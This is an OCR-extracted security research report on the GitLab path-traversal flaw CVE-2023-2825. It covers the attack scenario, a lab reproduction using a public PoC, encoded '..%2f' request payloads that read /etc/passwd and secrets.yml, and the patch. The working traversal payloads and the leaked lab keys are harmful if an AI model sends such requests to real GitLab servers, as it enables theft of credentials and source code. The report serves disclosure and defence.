Research & Technique

GitLab arbitrary file reading vulnerability (CVE-2023-2825)

B Overview of the vulnerability

In May 2023, an arbitrary file reading vulnerability was discovered in GitLab, a Git repository
management solution used by individuals or organizations for software development and
collaboration. Because the vulnerability can read or download any file on the server by utilizing the
path exploration vulnerability, GitLab rated it as 10.0 points based on CVSS!. In particular, an
unauthenticated attacker can manipulate the attached file download path of an open project and
potentially gain access to detailed configuration information, source codes of the company, and

sensitive user data, which are the key data files of the server.

Vulnerable GitLab, disclosed on the Internet, can be checked through OSINT search engines like
Shodan. As a result of using Shodan to search for vulnerable servers on June 28, it was found that
there are about 4,000 vulnerable GitLabs. Therefore, if you use a vulnerable version, you need to be

extra careful.

ShOdan Re ele rt appl icat ion-77eedddel 6d2f31bdddfd21 4bBObG327 fedBbI2df7054b1 fhA28f d6d4439fce. cas TOtal' 4'025

4/ GENERAL

@ Countries

Germany 970
United States 665
France 201
China 280

Russian Federation 264

*Source: Shodan Report

Figure 1. Results of the vulnerable server search

I CVSS (Common Vulnerability Scoring System) is a free and open industrial standard for evaluating the severity of the security

vulnerability of a computer system.
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B Affected software version

The GitLab version vulnerable to CVE-2023-2825 is as follows:

S/W classification Vulnerable version

GitLab
] o ) » 16.0.0
CE(Community Edition)/EE(Enterprise Edition)
X In order for the vulnerability to work, there is a condition that at least five groups must exist. The condition can be

checked through detailed vulnerability analysis below.

B Attack scenario

The attack scenario using the CVE-2023-2825 vulnerability is as follows:

@

infosec

A 4

€ Explore vulnerable servers

Q-) GitLab web GitLab server
1 [N
TOP
9 CVE-2023-2825 SECRET

Attacker 9 Steal key information of the server

1\
& s

S 1
A\ |

Dark web

o Sell key information

Figure 2. Attack scenario

@ The attacker explores vulnerable GitLab web servers through the OSINT search engine.

@ The attacker uses the CVE-2023-2825 vulnerability to access the victim's server.

® Upon receiving the attacker’s request, the server returns key information (development source codes, server
environment configuration information, etc.) to the attacker.

@ The attacker sells the acquired key information to the dark web or other competitors.

EQST insight | 2



W Test environment configuration information

Build a test environment and examine the operation process of CVE-2023-2825

Name Information

Ubuntu 20.04.5 LTS

Victim (192.168.100.162)
GitLab 16.0.0
Kali Linux
Attacker 6.1.0-kali5-amd64

(192.168.100.152)
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B Vulnerability test

Step 1. Environment configuration

1) Build a server of GitLab 16.0.0 version with vulnerabilities among GitLab CE images supported by
the docker hub on the victim’s PC.

$ docker run -d -p 80:80 gitlab/gitlab-ce:16.0.0-ce.0
(@I InENER -d option: An option for executing the docker as the background in the detach mode

-p option: An option for designating the local port and the port to run in the docker

root@ubuntu: /home/eqst# docker run -d -p 80:80 gitlab/gitlab-ce:16.0.0-ce.0
Unable to find image 'gitlab/gitlab-ce:16.0.0-ce.0' Llocally
16.0.0-ce.0: Pulling from gitlab/gitlab-ce
1bc677758ad7: Pull complete
633fcf47bc79: Pull complete
472c1acOc258: Pull complete
5b665b492973: Pull complete
0bd8b5a23fe7: Pull complete
b385dd2cb2ca: Pull complete
38ac4d68d24c: Pull complete
e4588a97b783: Pull complete
Digest: sha256:ab%0cdb096c4f81247088357b0e051f5b8a999284b2186¢cbdiblec1ad4lcca7e8
Status: Downloaded newer image for gitlab/gitlab-ce:16.0.0-ce.0
3e524103ef6858b7825c530db4cefd2dd3cieb5f1e36776ef413574655d61784
Figure 3. Build the environment through the docker

2) To reset the password for the GitLab root account, open the terminal of the container and execute

the following command:
Container access command : $ docker exec -it [container name or container ID] /bin/bash
Command ) )
Password change command : # gitlab-rake "gitlab:password:reset[root]"

roo B = 3

CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS

NAMES

3e5241603ef68 gitlab/gitlab-ce:16.0.8-ce.® "fassets/wrapper” 4 minutes ago
Up 4 minutes (healthy) 22 /tcp, 443/tcp, 0.0.0.0:80->80/tcp, :::80-=80/tcp

distracted heyrovsky R
root@ubuntu: /home/eqst# docker exec -it 3e524103ef68 /bin/bash Command to access a container
root@3e524103ef68: /# gltlab-rake "gitlab:password:reset[root]"
Enter password: Command to change password
Confirm password:

Password successfully updated for user with username root.

Figure 4. Reset the password for the GitLab root account password
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3) For the vulnerability test, copy the git file where PoC is saved to the attacker’s PC.
GitHub URL where PoC is saved is as follows:

— URL: https://github.com/Occamsec/CVE-2023-2825.git

M $ git clone https://github.com/Occamsec/CVE-2023-2825.git

/home/kali
clone https://github.com/Occamsec/CVE-2023-2825.¢g1t
Cloning 1nto "CVE-2023-2825
remote: Enumerating objects: 36, done.

remote: Counting objects: 100% (36/36), done.

remote: Compressing objects: 100% (33/33), done.

remote: Total 36 (delta 11), reused 3 (delta @), pack-reused 0
Receiving objects: 100% (36/36), 13.60 KiB | 2.72 MiB/s, done.
Resolving deltas: 100% (11/11), done.

Figure 5. Copy PoC and check the path

4) Use the editor to enter information on the victim’s server in the PoC file.

% The reason for entering the root account is to create a project for the PoC test. In actual vulnerabilities, users

without authentication information can attack an open project.

/home/kali/CVE-2023-2825
DISCLAIMER.txt poc.py README.md
requests

random
string

urllib.parse urlparse
bs4 BeautifulSoup

ENDPOINT _p o
USERNAME nter victim server

PASSWORD information

Figure 6. Enter victim’s server information
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5) PoC operates and makes it possible to check the “/etc/passwd” file of the victim’s server.

Jhome/kali/CVE-2023-2825
poc.py
[*] Attempting to Lagin."
[#] Login successful as user "root®
Ed! ting 11 c:aup; wlTh prefix EQST
[*] group
[*] group
[*] group
[*] group
[*] group
[*] group
[*] group
[*] group ]
Ed! group 'EQST-9°
Ed group 'EQST-18°
group 'EQST-11"'
[*] ed public repo "/EQS
ST-8/ ED"-T 9_.-"'ED"-T 18/EQST-1
[+ l_Jrﬂn._r:I-:rJ file ° IJI!ﬂ-'!I:lEI"
Ap101T

- I=

root:/bin/bash
: r/sbin:/usr/sbin/nologin
r/sbin/nologi Output result of an

arbitrary file

SYNC

games

Figure 7. Exposure of a random file due to a vulnerability
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B Detailed analysis of the vulnerability

Step 1) Overview of the vulnerability

The CVE-2023-2825 vulnerability operates when an unauthenticated attacker accesses an attached
file such as a GitLab project or Snippet* of an open vulnerable version. When the file does not exist
in the requested URL path, the GitLab server processes it by decoding it after forwarding it to puma?®.
After that, the GitLab server retrieves the filename from the received URL. As the logic to check the

filename is missing, however, a vulnerability occurs.

path: :uploads do

/:model /:mounted as/:id/:filename”,

Figure 8. The source decodes through puma

When the attacker manipulates the packet and encodes and transmits the Path Traversal syntax to the
attached filename, the server interprets the filename from the character string that has been decoded
and processed. So a vulnerability occurs. Therefore, you can use the encoding character string “..%2f”,

“%2e%2e%2f” to access files in the parent directory.

http://GitLab.com/Group/Project/..%2ftext.txt — %2ftext.txt
http://GitLab.com/Group/Project/../text.txt - ..[text.txt
< ! ! = e— - ——
Attacker GitLab Puma WAS
Nginx

Figure 9. Illustration of decoding analysis

2 A snippet is a page for storing frequently used codes or codes and texts to share with other users.

3 As a type of WAS (Web Application Server), puma is a server for Ruby application programs. GitLab's Rails (a kind of Ruby's Web

framework) is used to run application programs.
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To understand the vulnerability, you need to know the storage structure related to GitLab's attached
files. When creating a group project or snippet, the upload path and a specific directory path are
combined and saved. The example below is the path that is saved on the server when a file is uploaded
normally.

upload file path Project creation directory path

/var/opt/gitlab/gitlab-rails/uploads /@hashed/[aa]/[bb]/[hash]/[hash]/[file]

Figure 10. Storage path

However, when requesting the download of an attached file that does not exist in the download

request URL path, GitLab transfers the file from the symbolic link* below through the puma server.

upload file path Project creation directory path
/var/opt/gitlab/gitlab-rails/uploads/@hashed/[aa]/[bb]/[hash]/[hash]/[file]

Symbolic link path
/opt/gitlab/embedded/service/gitlab-rails/public/uploads/@hashed/[aa)/[bb]/[hash]/[hash]/[file]

Figure 11. Symbolic link directory path

root@d3f1ebb81b78: fopt/gitlab/embedded/servicefgitlab-rails/public# 1s -al
total 72

Lrwxrwxrwx 1 root root 36 Jul 5 0O:38 -
root@d3f1ebb81b78: fopt/gitlab/embedded/service/gitlab-rails/public#

Figure 12. The symbolic link path of the server

The download request URL rule created when uploading an attached file in GitLab is as follows.

Additional directories are created as many as the number of subgroups nested in the project.

GitLab address/[Group]/[Sub Group]/Project/uploads/[hash]/file
GitLab address/[Group]/[Sub Group1][Sub Group?2]...[Sub Group N]/Project/uploads/[hash]/file

Figure 13. Download path request URL configuration

* A symbolic link is a file containing a reference to a specific file or directory, and functions like a shortcut in Windows OS.
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If the download request URL has only one subgroup, as shown in the figure below, only the five paths
of the WebRoot directory can be moved, and they can be moved only to the uploads directory of the
symbolic link.

Filename:/../../..[../../

Download Request URL /

GitLab address/[Group]/[Sub Group]/Project/uploads/[hash]/file

Filename: /../../..[../../

Symbolic Link Path
/opt/gitlab/embedded/service/gitlab-rails/public /uploads/@hashed/[aa]/[bb]/[hash]/[hash]/file

Figure 14. Go to the web root directory

However, since the download request URL creates as many directories as the number of nested
subgroups, and the number of directories for symbolic links is fixed, it is possible to access directories
higher than the Web Root directory.

Download Request URL Filename:/../../.././../+n

GitLab address /[Group]/[Sub Group1][Sub Group?2]...[Sub GroupN]/Project/uploads/[hash]/file

Symbolic Link Path Filename: /../../../../../+n

T

/opt/gitlab/embedded/service/gitlab-rails/public /uploads/@hashed/[aa]/[bb]/[hash]/[hash]/file

Figure 15. Go to the parent directory
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The following figure is a diagrammatic representation of an example of a symbolic link referred to

when the server receives an attached file download request.

)
/opt B B

L— /gitlab
- /embedded

l—fserwce @
L /gitlab-rails B

L— /public
L—/uploads B

- /@hashed B
i,
T ol B

L /6b
lL— /5934..023e

EQST.txt

Figure 16. A diagrammatic representation of an example of a symbolic link
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Step 2) Detailed analysis of operation

For detailed analysis of the vulnerability, create a group (EQSTLab) in the vulnerable version's GitLab
and create a public project (Insight).

% To analyze the vulnerability, a print.txt file that outputs the current path was created in each directory.

EQSTLab » Insight

| Insight®

& D~ trStar | 0 || ¥Fork | 0
Project ID: 1 [g

-o-1Commit ¥ 1Branch ¢’ 0 Tags [ 0Bytes Project Storage

_f,':-'_ Initial commit cal22709 | 3
*  Administrator authored 1 minute ago

main v insight /| | + ~ Find file Web IDE oy v

Figure 17. Creation screen

After creating the project, in order to exploit the attached file, create an issue, a space where you can
write contents related to the project, and upload the attached file (EQST.txt).

New Issue

Title (required)

| whblithe

Type @

Issue ~

Description

B I § 1= < &

== "3 B & Preview .7

'3

Ins ighd[ EQST.txt] (/uploads/59843abfclSelfbe33fhe7h8h126028e/EQST. txt JI

Figure 18. Upload the attached file
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Download the attached file (EQST.txt) through the path below.

= http://192.168.100.162/eqstlab/insight/uploads/59843abfc15e1fbe33fbe7b8b126028e/EQST. txt

http://192.168.100.162/egstlab/insight/uploads/59843abfc15e 1fbe33fhe7bab1 2602 8/E0ST txt

DEI I

B EQsThd

7B« 2E

EQSTLab » Insight

@ open O Issue created 1 day ago by : 4

whblithe

Insightf)

Figure 19. Download the file

Edit Close issue E

To exploit the CVE-2023-2825 vulnerability, if you use a proxy tool to modify the file name, perform

URL encoding for the “../character string and deliver the URL—-encode the “..%2fprint.txt” or

“%2e%02e%2fprint.txt” payload to the victimized server, you can reach the upper path.

The response value of print.txt, which displays the current path of the parent path using the proxy

tool, is as follows:

Request case 1) /" Encoding -> ..%2fprint.txt Response

Prett Raw Hex \n = Pret Raw Hex Rende

1 GEL 1 HTTP/1.1 200 0K
/egstlab/insight/uploads/59343abfc15e1fbe33fberb3b126023e/. %21 Server: nginx

print.txt HTTP/1.1 Date: Wed, 05 Jul 2023 04:30:37 GNT

2 Host. 192.163.700.762
2 Content-Length: 22

]

3

Content-Length: 143

ecurity-Policy
ansfer-Encoding: binary

Requestcase 2) “../” Encoding -> %2e%2e%2fprint.txt| i
Prett, Raw Hex \n =

1 _GET
Jeqstlab/insight/uploads/59843abfc15e1the33fbe7hsb126023e/%2e%2

en2fprint. txt HTTP/1.1 ™

15 X-Download-Opti :
X=Frame=Options ANEORIGIN
X-Gitlab-Meta:

-1 M e LD R — O
I
O
o
=)
@
=]
|
—
e
=
o=
k-1
o
>
@
>
o
w
3
-
-

3 Content-Length: 22
4

5 Connection: close :

21 X-Ua-Compatiblé
22 X-Kss-Protection: 1%
23 Strict-Transpor t=Secur i

Content-Type: application/octet-stream

age=63072000
hen-cross-origin

= 0 =

W2Fprint. txt':

4 Gconnection: keep-alive

5 Connection® close 7 Agcept-Ranges' bytes

B 3 Cadge-Control: max-age=0, private, must-revalidate

7 9 Contwpt-Disposition: attachment: filename=".
filenage*=UTF-3''. .%2Fprint.txt

d: Wed, 05 Jul 2023 04:06:15 GNT
12 Permissions-Rolicy: interest-cohort=()

2 HGST . T9ZTET . TUU. T8 ' (NH4J521DG521EGYSNTKTRFXCF® , "version’ :"1"}
n-Policies: none
21E6V3NTKIRFXCF

25
24 Referrer-Policy: strict-orif
25
2

26) This dic is

db7875b4b

Jopt/gitlab/enbedded/service/gitlab-rails/public/uploads/@hashe
d/6b/36/6b36b273f 134 fce19d6b304ef f5a3f5747adadeaa22 f1d49c01e52d

Figure 20. Go to the parent path and display file information
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As it repeats moving to the upper path one step at a time, and when moving to the top five directories,

a 400 Bad Request error is returned. Since this is a project configuration that does not create any

subgroup, the download request URL includes only four directories:

/egstlab/insight/uploads/59843abfc15e1fbe33fbe7b8b126028e/. Therefore, it is impossible to move
up five directories higher than the WebRoot directory.

Request

Raw Hex

1_GET

Response

\n = Pretty ~ Raw  Hex  Render

1[HTTP/1.1 400 Bad Request]

feqstlab/insight/uploads/59543abfc15e1 fhe33fhe7bsh126023e/ . %2f

Coh2f.mef. mef. w2fprint.txt HTTP/1 .1

2 Server: nginx

2 Host™ 192 765 T00.T62
3 Content-Length: 21

4

5 Connection: close

4 Content-Type: text/html
5 Content-Length: 150

G Connection: close

7

Figure 21. Return an error

3 Date: Thu, 06 Jul 2023 07:23:46 GNT

The figure below shows the process of returning a 400 Bad Request error when moving five paths, a

directory higher than the WebRoot directory.

Download Request URL :

w W A A

http://192.168.100.162/eqstlab/insight/uploads/[hash]/EQST.txt

[..%2f..%2f..%2f..%2f..%2f..%2f

i

/opt .

L— /gitlab

- /embedded .

/service

Figure 22. A diagrammatic representation of “Unable to move”

L /gitlab-rail .
gltalislpc

Cannot move to

parent directory

- /uploads
- /@hashed
L—— /6b

L— /86

= ookt

L— /5934..023¢

EQST.txt
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To access a directory higher than the WebRoot directory by exploiting the CVE-2023-2825
vulnerability, you must add nested subgroups to increase the number of directories included in the
download request URL.

Therefore, in order to access “/opt/gitlab/embedded/service/gitlab—rails/config/secrets.yml,” which
is one of the main information items located in a directory higher than WebRoot, you must move up
a total of seven higher directories by adding three to the existing four directories. Therefore, you will

exploit the CVE-2023-2825 vulnerability by adding three nested subgroups.

root@d3f1ebb81b78: /opt/gitlab/embedded/service/aitlab-rails# 1ls -al confia/ | arep secrets.yml

Lrwxrwxrwx 1 root root 44 Jul 5 00:38 -= [var/opt/gitlab/gitlab-rails/etc/
-rw-r--r-- 1 root root 404 May 18 18:02 .example

Figure 23. “/config/secrets.yml” path within the server

In the figure below, three nested subgroups were created for access to seven higher directories.

GrOupS Explore groups

| Last created ~
© % E EQSTLab @ owe | Group e Q1 881
~ % E eqstl & Owne %1 01 81
v 8 E egsiz @ Owe Sub Group 1 01 81
> % E  eqgst3 @ Owne %1 01 81

Figure 24. Create subgroups
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The figure below illustrates the process of accessing the “/config/secrets.yml” file in gitlab—rails, a

directory higher than the WebRoot directory, by adding three nested subgroups.

http://192.168.100.162/eqstlab/eqst1/eqst2/eqst3/eqstd/eqst5/eqst6/eqst7/eqst8
Download Request URL : /whblithe4/uploads/8e1390ac4f703ebaf612d8779d0cf027/..%2f..%2f..%2f..%2f..%
2f..%2f..%2f..%2f..%2f..%21.. % 2f..% 2fetc% 2fpasswd

/opt
L— /gitlab o
- /fembedded

/service B
L /gitlab-rails || | .
—— /public .
L— /uploads ./

- /@hashed
 — /6b

—» /config
¥
SECRET
secrets.yml

L/6b86 5!'4b .

L—/5934.023¢

EQST.txt

Figure 25. A diagrammatic representation of “/config/secrets.yml”

The payload that outputs “/config/secrets.yml” information after creating nested subgroups through

the previous process is as follows:

Request Response
Pretty Raw Hex = ERU— Pretty Raw Hex Rende = \n =
1| GET Ilproduction:
feqstlab/eqst1/eqst2/eqst3/whblithe2/uploads/c162794e0fabdbat3a 320 db_key_base:
6663101372605/ . %W2f. %2f. %2f. %2f. %2f %2f %2fconfigh2fsecr SccTd2400eaal eec5375beb4b48 f43659a3 12ebad51277bch59e913337a22
ets. yml HTTP/1 .1 3b4d05c2a3169e4f0b5925ebd5c3170233d704bead2c3166c6bed1 0203eadd
2 Host: 192.163.100.162 7ed0
3 Content-Length: 22 a3 secret_key_base:
4 6137dae2d3ddScaaef055167400acic36d36330 112901 026a2eae79 f6dI636
5 Connection: close f4424abbed11a37374abb141 323701921 62e503574e53d91a1aale7dc90
f 2660
7 34] otp_key_base:

0e13400b35d33c44abaifbes591eaa2355e2732d25211730749b9e 14b616 157
6f50975363966f6e3d536f2b096bdS35636102a9f630339b7d303beab71335
35829

350  encrypted_settings_key_base:
b13dad709392f9fhf0chf731d23592b3c5b1 chb94c8eSch6et5al 69bE62ebds
34beTa431a9d3ee5a970ae3f5f0bIdSS7aa571954b7a076d5e150chc193chs
d425

36 openid_connect_signing_key: |

e BEGIN RSA PRIVATE KEY-—---

a8

Figure 26. Access the “/config/secrets.yml” file of the parent directory
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Therefore, in order to access the top—level root directory, you have to move up a total of 12 upper

directories. So you can access “/etc/passwd” by manipulating the attached file path of one group and
eight subgroup projects.

http://192.168.100.162/eqgstlab/eqst1/eqst2/eqst3/eqstd/eqst5/eqstb/eqst7/eqst8
Download Request URL : /whblithe4/uploads/8e1390ac4f703ebaf612d8779d0cf027/..%2f..%2f..%2f..%2f..%2
f..%2f..%2f..%2f..%21..%2f..%2f..% 2fetc % 2fpasswd

/opt
b/ |t|ab

B s L /embedded
Ject /service

L L /gitlab-rails

! L— /public
SECRET L—/uploads .
passwd - /@hashed B

— /6b | B

l_/6b86 .5b4b

L— /5934.023e

EQST.txt

Figure 27. Access the root directory

Through the previous process, you can move up 12 higher directories, move to the top root directory,
and output “/etc/passwd” or download it.

==
Request Response m

Pretty Raw Hex no= Prett Raw  Hex Rende \n =
1| GET 16 ¥-Frame-Options: SAMEORIGIN
http://192.165.100.162/eqstlab/eqstl1/eqst2/eqst3/eqstd/eqsts/eqst6/eqstT 17 X-Gitlab-Meta
Jeqst8/whb|ithed4/uploads/8e1300ac4 f703ebaff12d8779d0cf027/. %2f . %2f. %2 {'correlation_id": " 01H4ZPBKKZAXGHODE2KFHRX26X"
f.o.%2f. %m2f. w2f. %2f. . %af. %2f. %2f. %2f. . %2fetch2fpasswd HTTP/1.1 nttth

= Heat—t 19 X-Permitted-Cross-Domain-Policies: none
3 Content-Length: 21

Jtversio

19 X-Request-1d: 0TH4ZPBKKZAXGHODEZKFHRX26X

20 ¥-Runtime: 0.107442

21 ¥-Ua-Compatible: IE=edge

22 ¥-Xss-Protection: 1. mode=block

23 Strict-Transport-Security: max-age=63072000
24 Referrer-Policy: strict-origin-when-cross-origin
25

28 root:x:0:0:root:/root:/bin/bash

27 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
29 bin:x:2:2:bin:/bin:fusr/sbin/nologin

29 sys:x:3:3:sys:/dev:fusr/sbin/nologin

20 syncix:4:68634 sync:/bin:/bin/sync

31 games:x:5:60:games: fusr/games: fusr/sbin/nologin
32 man:x:6:12:man:/varfcache/man: fusr/sbinfnologin
33 Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

5 Connection: close
&
7

Figure 28. Get the “/etc/passwd” file information of the root folder

If you enter it in the URL address, you can download the “/etc/passwd” file.

<« C (d :qst9/whblithe3/uploads/fb51da4205fcecbd98427d1523d2d1a5/.%62f. %21 362 .%62f .%62f. % 62f. J2fetc2fpasswd D » L .i,
Q Search GitLab [ e _etc_passwd I
1407E « &
E Your work » Projects

Figure 29. Download the “/etc/passwd” file
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B Countermeasure

If you are operating a vulnerable version of Gitlab server, an attacker can exploit the vulnerability
by creating an issue in the project or registering an attached file in a public snippet. In order to cope
with this, it is safe to update it to GitLab 16.0.1 or higher with logic that checks whether the character
string decoded based on a regular expression is a ‘path traversal pattern.’

?(Gitlab: :HashedPath)
'Invalid path' unless

"

"Potential path traversal attempt detected”, path:
g 'TInvalid path'

Figure 30. Path traversal detection via regular expression

In version 16.0.1 or later, it can be confirmed that bad reqeust is returned when check path_traversal

logic is added in the module involved in upload, and path traversal is detected.
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app/controllers/concerns/uploads_actions.rb [f +6 -0 @ View file @2ddbf546

included do 18 included do

prepend_before_action 11 prepend_before_action
:set_reguest_format_from_path_extension :set_reguest_format_from_path_extension
rescue_from FileUploader::InvalidSecret, 12 rescue_from Filelploader::InvalidSecret,
with: :render_404 with: :render_404
13
14 |+ rescue_from
::Gitlab::Utils: :PathTraversalAttackError do
15 |+ head :bad_request
16 §+ end
end 17 end
18
def create 19 def create
or redirect to its URL 37 # or redirect to its URL
1 38 f
def show 39 def show
40 )+ Gitlab::Utils.check_path_traversal
(params[:filename])
41
return render_404 unless uploader&.exists? 42 return render_4084 unless uploader&.exists?
43
ttl, directives = *cache_settings &4 ttl, directives = *cache_settings

Figure 31. Add inspection logic

If it is difficult to update the version, it is necessary to disable the open project or inspect the packet
using the web firewall. However, since this is not a perfect countermeasure for vulnerabilities, it is

recommended to update to version 16.0.01 or higher with the inspection logic added.
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B Reference sites

« URL: https://labs.watchtowr.com/gitlab—arbitrary—file-read—gitlab—cve—2023-2825-analysis/
« URL: https://github.com/Occamsec/CVE-2023-2825.git

« URL: https://about.gitlab.com/releases/2023/05/23/critical —security —release—gitlab—16—0-1-released/
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